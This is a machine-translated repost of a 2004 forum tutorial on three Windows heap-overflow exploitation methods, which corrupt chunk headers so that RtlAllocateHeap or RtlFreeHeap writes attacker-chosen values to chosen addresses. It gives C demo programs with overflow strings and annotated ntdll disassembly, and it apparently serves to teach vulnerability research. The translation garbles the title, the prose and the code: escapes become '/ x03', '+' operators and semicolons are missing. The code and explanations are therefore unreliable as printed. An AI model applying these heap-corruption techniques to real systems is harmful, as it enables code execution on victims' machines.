[Reposted] Summary Three Utilization of Windows Springs
Creation time: 2004-04-08
Article properties: reprint
Article submission:
Watercloud (watercloud_at_xfocus.org)
Original text from LEVEN in network programming version:
Https://www.xfocus.net/bbs/index.php?act=se&f=3&t=34455&f=3&222380
Summarize three utilization methods of windows overflow
Use RTLallocheap
This is ISNO mentioned, see this example
Main (int Argc, char * argv [])
{
Char * buf1, * buf2;
Char s [] = "Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa / x03 / x01 / x08 / x00 / x11 / x11 / x11 / x21"
BUF1 = (char *) Malloc (32); / * Assign two memory * /
Memcpy (buf1, s, 32 16); / * Here you copy 16 bytes * /
BUF2 = (char *) Malloc (16);
Free (buf1);
Free (buf2);
Return 0;
}
After the Malloc is completed for BUF1, the returned address (buf1) is a pointer, and the memory allocation point is like this.
BUF1 management structure (8bytes) | BUF1 real operable space (32bytes) | Next idle support management structure (8bytes) | Two double-linked list pointer (8bytes)
After completing the malloc to BUF2, the memory allocation of BUF1 points is like this.
BUF1 Management Structure (8bytes) | BUF1 True Operable Space (32Bytes) | BUF2 Management Structure (8bytes) | BUF2 Real Optional Space (16bytes) | Two Double List Pointers (8bytes)
Now if the BUF1 Memcpy operation overflows before the BUF2 allocation space, and overwrite
The next idle heap management structure (8bytes) | Two double-linked list pointers (8bytes)
When a total of 16 bytes, the RTLallocheAP operation of BUF2 will cause an exception. Cause See this code of RTLallocheap
001b: 77fcc453 8901 MOV [ECX], EAX
001b: 77fcc455 894804 MOV [EAX 04], ECX
At this time, ECX points to the latter pointer (0x21212121) of the two double-linked table pointer (8bytes), and EAX points to a pointer (0x11111111). Similar to the format string overflow, you can write any data to any address, this situation is relatively simple, the premise is the opportunity for BUF1 overflow before the BUF2 allocation space
2. Use RTLFreeheap to one
This is Ilsy mentioned, see example
Main (int Argc, char * argv [])
{
Char * buf1, * buf2;
Char s [] = "Aaaaaaaaaaaaaaaaaaaaaaaaaaa / X03 / X00 / X05 / X00 / X00 / X09"
BUF1 = (char *) Malloc (32); / * Assign two memory * /
BUF2 = (char *) Malloc (16);
Memcpy (buf1, s, 32 6); / * Here more copied 6 bytes * /
Free (buf1);
Free (buf2);
Return 0;
}
Since BUF1 copies 6 bytes, this 6 bytes override the management structure of BUF2, and exceptions occur during Free (BUF2). As long as we carefully construct this 6 bytes, you can take a look at the definition of the 8-byte management structure (found from the Windows Source Code)
Typedef struct _heap_entry {
//
// this Field Gives The size of the current block in allocation
// Granularity Units. (I.e. size << Heap_granularity_shift
// Equals the size in bytes.
//
// Except if this is part of a virtual alloc block kil1en
// Value is the Difference Between the commit size in the Virtual
// alloc entry and the what the user ask for.
//
USHORT SIZE;
//
// this Field Gives The size of the previous block in allocation
// Granularity Units. (I.E. previoussize << Heap_granular_shift
// Equals the size of the previous block in bytes.
//
Ushort previoussize;
//
// this Field Contains the index INTO THE Segment That Controls
// The Memory for this block.
//
Uchar segmentindex;
//
// this Field Contains Various Flag Bits Associated with this block.
// Currently THESE ARE:
//
// 0x01 - HEAP_ENTRY_BUSY
// 0x02 - HEAP_ENTRY_EXTRA_PRESENT
// 0x04 - HEAP_ENTRY_FILL_PATTERN
// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
// 0x10 - HEAP_ENTRY_LAST_ENTRY
// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
//
Uchar flags;
//
// this field contains the number of unused bytes at the end of this
// block this week not actual allocated. Used to compute exact
// size requested prior to runking requested size to allocation
// Granularity. Also use for tail checking purposes.
//
Uchar unusedbytes;
//
// Small (8 bit) Tag indexes can go here.
//
Uchar smalltagindex;
#if Defined (_Win64)
Ulonglong reserved1;
#ENDIF
} Heap_ENTRY, * PHEAP_ENTRY;
Be
Size (2bytes) of this pile (2bytes) | SIZE (2BYTES) | index (1byte) | Flag (1byte) | unuse -tes (1byte) | SmallTagIndex (1byte) Note that the size here is the actual size for 8-byte alignment Value of 8
You can look at all definitions of Flag
Take a look at several key places in RTLFreeheap
Key one
001b: 77fcc829 8A4605 MOV Al, [ESI 05] // ESI points to the start address of the 8-byte management structure of BUF2, Al is Flag
001b: 77fcc82c A801 TEST Al, 01 // Flag value contains heap_entry_busy
001b: 77FCC82E 0F84A40E0000 JZ 77FCD6D8 // does not include jump. Can't jump here
001b: 77fcc834 F6C207 TEST DL, 07
001b: 77fcc837 0F859B0E0000 JNZ 77FCD6D8
001b: 77fcc83d 807E0440 CMP BYTE PTR [ESI 04], 40 // ESI 4 is greater than 0x40
001b: 77fcc841 0f83910e0000 JAE 77FCD6D8 / / greater than or equal to jump, here you can't jump
001B: 77FCC847 834DFCFF or DWORD PTR [EBP-04], - 01
001b: 77fcc84b a8e0 Test Al, E0 // Flag contains HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B: 77FCC84D 754A JNZ 77FCC899 // As long as one is jumping, it is not important here.
001b: 77fcc84f 8b8f80050000 MOV ECX, [EDI 00000580]
001b: 77fcc855 85c9 Test ECX, ECX
001b: 77fcc857 7440 JZ 77FCC899 / / inevitably jump
Key second
001b: 77fcc899 C745FC01000000 MOV DWORD PTR [EBP-04] 00000001
001b: 77fcc8a0 F6C301 Test BL, 01
001b: 77fcc8a3 750f JNZ 77FCC8B4 / / inevitably hop
001b: 77fcc8a5 ffb778050000 push dword PTR [EDI 00000578]
001b: 77fcc8ab E853C8FBFF CALL NTDLL! RTLENTERCRITICALSECTION
001b: 77fcc8b0 C645D401 MOV BYTE PTR [EBP-2C], 01
001b: 77fcc8b4 F6460508 TEST BYTE PTR [ESI 05], 08 // FLAG HEAP_ENTRY_VIRTUAL_ALLOC
001b: 77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 // Contains, jump, here you want to jump
001b: 77fcbb49 83c6e8 add esi, -18 // ilsy says this 0x18 is different on different Windows versions.
001b: 77fcbb4c 89759c MOV [EBP-64], ESI
001b: 77fcbb4f 8b06 MOV Eax, [ESI]
001b: 77fcb51 894598 MOV [EBP-68], EAX
001b: 77fcbb54 8b7604 MOV ESI, [ESI 04]
001b: 77fcb57 897594 MOV [EBP-6C], ESI
001b: 77fcbb5a 8906 MOV [ESI], EAX / / here will operate
When we see the last operation is abnormal, ESI = 0x61616161, ESI = 0x61616161, it is exactly the value in the buf1, which is to copy the data of the start address of the BUF2 to the 0x18 address.
The address pointed to by the data. We can control these two data.
It can be seen that there are three premise of the second way:
1) The flag of constructing a heap (buf2) must contain heap_entry_busy and heap_entry_virtual_alloc, can be set to 0xFF
2) That byte is smaller than 0x40 in front of the FLAG
3) The length of the upper pile of constructing the pile (ie, buf1) must be greater than or equal to 0x18 0x08, 32 bytes, otherwise the ESI will point to the area where we cannot control, resulting in failure
There is also the first byte of the 8-byte management structure of the byte construction must be greater than 0x80. There is no need to use (Windows2000Pro CN SP4), he uses 0x99, I can use 0x03, can also succeed use
3. Use the RTLFreeheap in the way
This is the first anomalies that I have spacked. I didn't understand it before, I took a few posts for 2 hours, I think this is an unusual occurring when UNLINK.
Look an example
Main (int Argc, char * argv [])
{
Char * buf1, * buf2;
Char s [] = "Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa / x03 / x00 / x08 / x00 / x11 / x22 / x11 / x22"
BUF1 = (char *) Malloc (32); / * Assign two memory * /
BUF2 = (char *) Malloc (16);
Memcpy (buf1, s, 32 16); / * Here you copy 16 bytes * /
Free (buf1);
Free (buf2);
Return 0;
}
It looks like a way, but it will be found after running, unlike mentioned above, there is an abnormality when Free (buf1). Take a look at the key points of RTLFreeheap
Key one
Key to the same way, try to jump to key points
Key second
001b: 77fcc899 C745FC01000000 MOV DWORD PTR [EBP-04] 00000001
001b: 77fcc8a0 F6C301 Test BL, 01001B: 77FCC8A3 750F JNZ 77FCC8B4
001b: 77fcc8a5 ffb778050000 push dword PTR [EDI 00000578]
001b: 77fcc8ab E853C8FBFF CALL NTDLL! RTLENTERCRITICALSECTION
001b: 77fcc8b0 C645D401 MOV BYTE PTR [EBP-2C], 01
001b: 77fcc8b4 F6460508 TEST BYTE PTR [ESI 05], 08 // FLAG HEAP_ENTRY_VIRTUAL_ALLOC
001b: 77fcc8b8 0F858BF2FFFF JNZ 77FCBB49 // Your jump, here you can't jump
001b: 77fcc8be 0fb706 Movzx Eax, Word PTR [ESI]
001b: 77fcc8c1 8945d0 MOV [EBP-30], EAX
001b: 77fcc8c4 f6470c80 test byte PTR [EDI 0C], 80
001b: 77fcc8c8 7515 JNZ 77FCC8DF
001b: 77fcc8ca 6a00 push 00
001b: 77fcc8cc 8D45D0 Lea Eax, [EBP-30]
001b: 77fcc8cf 50 push eax
001b: 77fcc8d0 56 Push ESI
001b: 77fcc8d1 57 push edi
001b: 77FCC8D2 E8EA000000 Call 77FCC9C1 // Enter this CALL
Key third
001b: 77fcc9c1 55 Push EBP
001b: 77fcc9c2 8bec MOV EBP, ESP
001b: 77fcc9c4 53 Push EBX
001b: 77fcc9c5 56 Push ESI
001b: 77fcc9c6 8b750c MOV ESI, [EBP 0C]
001b: 77fcc9c9 8b5d08 MOV EBX, [EBP 08]
001b: 77fcc9cc 57 Push EDI
001b: 77FCC9CD 8BFE MOV EDI, ESI // ESI point the start address of BUF1
001b: 77fcc9cf 0fb74602 MOVZX EAX, Word PTR [ESI 02] // Put the length of the pile before BUF1 in EAX
001b: 77fcc9d3 c1e003 shl EAX, 03 // Take 8 to get the actual size
001b: 77fcc9d6 2BF8 SUB EDI, EAX // EDI points to the start address 001b: 77FC9D8 3BFE CMP EDI, ESI
001b: 77fcc9da 740a jz 77fcc9e6
001b: 77fcc9dc F6470501 Test Byte Ptr [EDI 05], 01 // Whether the Flag of the last pile contains heap_entry_busy
001b: 77fcc9e0 0F8498E9FFFF JZ 77FCB37E / / Cannot jump
001b: 77fcc9e6 F6460510 Test Byte PTR [ESI 05], 10 // Whether the Flag of the last pile contains heap_entry_last_entry
001b: 77fcc9ea 750f JNZ 77FCC9FB // Cannot jump
001b: 77fcc9ec 8b4510 MOV EAX, [EBP 10]
001b: 77fcc9ef 8B00 MOV EAX, [EAX] // BUF1
001B: 77FCC9F1 F644C60501 TEST BYTE PTR [EAX * 8 ESI 05], 01 // BUF2 Pile of FLAG contains heap_entry_busy
001b: 77fcc9f6 8D3CC6 LEA EDI, [EAX * 8 ESI] // EDI points to the start address of BUF2
001b: 77fcc9f9 7409 jz 77FCCA04 // does not include jump (incorporate idle?), Here to jump
001b: 77fcc9fb 8bc6 MOV EAX, ESI
001b: 77fcc9fd 5f pop EDI
001b: 77fcc9fe 5e POP ESI
001b: 77FCC9FF 5B POP EBX
001b: 77FCCA00 5D POP EBP
001b: 77fcca01 C21000 RET 0010
001b: 77fcca04 0fb70f Movzx ECX, Word PTR [EDI] // ECX is the length of the buf2
001b: 77fcca07 03c8 Add ECX, Eax // Plus the length of the buf1
001b: 77FCCA09 81F900FE0000 CMP ECX, 0000FE00 / / is greater than 0xFE00
001b: 77fcca0f 77ea ja 77fcc9fb // is greater than jumping, here you can't jump
001b: 77FCCA11 807D1400 CMP BYTE PTR [EBP 14], 00
001B: 77FCCA15 0F85FB210000 JNZ 77FCEC16001B: 77FCCA1B 8A4705 MOV Al, [EDI 05] // Al, Buf2 Flag
001b: 77fcca1e 2410 and al, 10 // Is HEAP_ENTRY_LAST_ENTRY
001b: 77FCCA20 A810 TEST AL, 10
001b: 77fcca22 884605 MOV [ESI 05], Al // Set buf1 Flag to HEAP_ENTRY_LAST_ENTRY
001b: 77fcca25 754b JNZ 77FCCA72 // Effectively jumped, here you can't jump
001b: 77fcca27 57 Push EDI
001b: 77fcca28 53 Push EBX
001b: 77fcca29 e80ccbfbff Call 77F8953A
001b: 77fcca2e 8b4f0c MOV ECX, [EDI 0C] // Transfer BUF2 0x0c to ECX
001b: 77fcca31 8b4708 MOV EAX, [EDI 08] // Transfer the 0x08 of BUF2 to EAX
001b: 77fcca34 3bc1 CMP Eax, ECX
001b: 77fcca36 8901 MOV [ECX], EAX / / here is abnormal
001b: 77fcca38 894804 MOV [EAX 04], ECX
The second and ways of ways are all using the RTLFreeheap function, and their bifurcation is key 2
001b: 77FCC8B8 0F858BF2FFFF JNZ 77FCBB49
The way two is here to jump, the way three cannot jump, so that the following Call (key 3)
ECX = 0x22222222, EAX = 0x11111111 when an abnormality occurs, this is what we can control.
There are three premise of visible way three.
1) Constructing the length of the pile (buf2) cannot be 0
2) Configure the upper stack of the constant pile (BUF1) and the length of the construction heap cannot be greater than 0xFE00 (Div8)
3) The FLAG of the construction pile cannot contain heap_entry_busy
In addition to the above three ways, there is still one, and the way is similar, but it is abnormal in Free (BUF2), which should be due to the calculation of the error during the merge, the specific calculation error is not analyzed, similar to Linux The lower pile of overflows, but Windows cannot be set to a negative number, resulting in a certain amount of trouble, SIGN
There is no longer saying after overflow. Writing these mainly in order to summarize some things, I hope to help beginners, please correct it.
Leven edited at 2004-03-22 19:52
---
Fainting